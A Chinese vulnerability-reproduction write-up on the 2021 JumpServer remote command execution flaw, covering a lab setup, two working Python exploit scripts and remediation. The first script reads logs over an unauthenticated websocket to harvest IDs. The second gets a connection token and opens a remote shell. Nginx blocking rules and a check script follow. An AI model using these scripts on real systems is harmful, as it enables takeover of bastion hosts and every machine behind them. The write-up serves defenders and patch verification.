JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。
2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
1、安装脚本
https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip
注意是Centos 7 系统
内存8G以上,cpu2核以上
或者执行官网脚本
curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh| bash
2、配置好之后,解压缩包,运行
./quick_start.sh
一路回车即可
3、进入目录下执行:
cd /opt/jumpserver-installer-v2.6.2
./jmsctl.sh start
4、如果发现安装的版本不是 v2.6.1,执行
./jmsctl.sh upgrade v2.6.1
5、访问
http://192.168.217.159:8080
初始账号密码为 admin/admin
6、更新用户列表里的用户名为root,后面ssh连接时的用户是root
7、创建一个系统用户
8、更新管理用户
9、新建一个资产
10、资产授权,否则控制台没有机器
11、成功连接机器
1、运行脚本
获取到asset,system_user,user三个ID值
import asyncio
import re
import websockets
import json
url = "/ws/ops/tasks/log/"
async def main_logic(t):
print("#######start ws")
async withwebsockets.connect(t) as client:
awaitclient.send(json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
while True:
ret = json.loads(awaitclient.recv())
print(ret["message"], end="")
if __name__ == "__main__":
host ="http://192.168.217.159:8080"
target =host.replace("https://","wss://").replace("http://", "ws://") + url
print("target:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(target))
2、将asset,system_user,user三个ID值
放入下面脚本,运行Getshell
import os
import asyncio
import aioconsole
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=1"
def get_celery_task_log_path(task_id):
task_id =str(task_id)
rel_path =os.path.join(task_id[0], task_id[1], task_id + ".log")
path =os.path.join("/opt/jumpserver/", rel_path)
return path
async def send_msg(websocket, _text):
if _text =="exit":
print(f'youhave enter "exit", goodbye')
awaitwebsocket.close(reason="user exit")
returnFalse
awaitwebsocket.send(_text)
async def send_loop(ws, session_id):
while True:
cmdline =await aioconsole.ainput()
awaitsend_msg(
ws,
json.dumps(
{"id": session_id, "type":"TERMINAL_DATA", "data": cmdline + "n"}
),
)
async def recv_loop(ws):
while True:
recv_text =await ws.recv()
ret =json.loads(recv_text)
ifret.get("type", "TERMINAL_DATA"):
awaitaioconsole.aprint(ret["data"], end="")
# 客户端主逻辑
async def main_logic():
print("#######start ws")
async withwebsockets.connect(target) as client:
recv_text =await client.recv()
print(f"{recv_text}")
session_id= json.loads(recv_text)["id"]
print("get ws id:" + session_id)
print("###############")
print("init ws")
print("###############")
inittext =json.dumps(
{
"id": session_id,
"type": "TERMINAL_INIT",
"data": '{"cols":164,"rows":17}',
}
)
awaitsend_msg(client, inittext)
awaitasyncio.gather(recv_loop(client), send_loop(client, session_id))
if __name__ == "__main__":
host ="http://192.168.217.159:8080"
cmd ="whoami"
if host[-1] =="/":
host =host[:-1]
print(host)
data ={"user": "4e98541f-a9d9-4d4a-8e62-aab3a3dcc503","asset": "d946e264-d139-4bb4-a375-be8c141587a0",
"system_user":"2683a326-a6f4-41d3-8590-455fd3990202"}
print("##################")
print("gettoken url:%s" % (host + url,))
print("##################")
res =requests.post(host + url, json=data)
token =res.json()["token"]
print("token:%s", (token,))
print("##################")
target = (
"ws://" + host.replace("http://", "") +"/koko/ws/token/?target_id=" + token
)
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic())
官方修复:将JumpServer升级至安全版本
https://blog.fit2cloud.com/?p=1761
临时修复方案:
修改 Nginx 配置文件屏蔽漏洞接口
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
Nginx 配置文件位置
# 社区老版本
/etc/nginx/conf.d/jumpserver.conf
# 企业老版本
jumpserver-release/nginx/http_server.conf
# 新版本在
jumpserver-release/compose/config_static/http_server.conf
修改 Nginx 配置文件实例
# 保证在 /api 之前和 / 之前
location /api/v1/authentication/connection-token/ {
return 403;
}
location /api/v1/users/connection-token/ {
return 403;
}
# 新增以上这些
location /api/ {
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_passhttp://core:8080;
}
...
修改完成后重启 nginx
docker方式:
docker restart jms_nginx
nginx方式:
systemctl restart nginx
修复验证
$ wgethttps://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
# 使用方法 bashjms_bug_check.sh HOST
bash jms_bug_check.sh demo.jumpserver.org
JumpServer日志
在/opt/jumpserver/core/logs 路径下
以下路径没有找到asset,system_user,user三个ID
ws://192.168.217.159:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/jumpserver"}
ws://192.168.217.159:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}
本文始发于微信公众号(Timeline Sec):开源堡垒机JumpServer远程命令执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论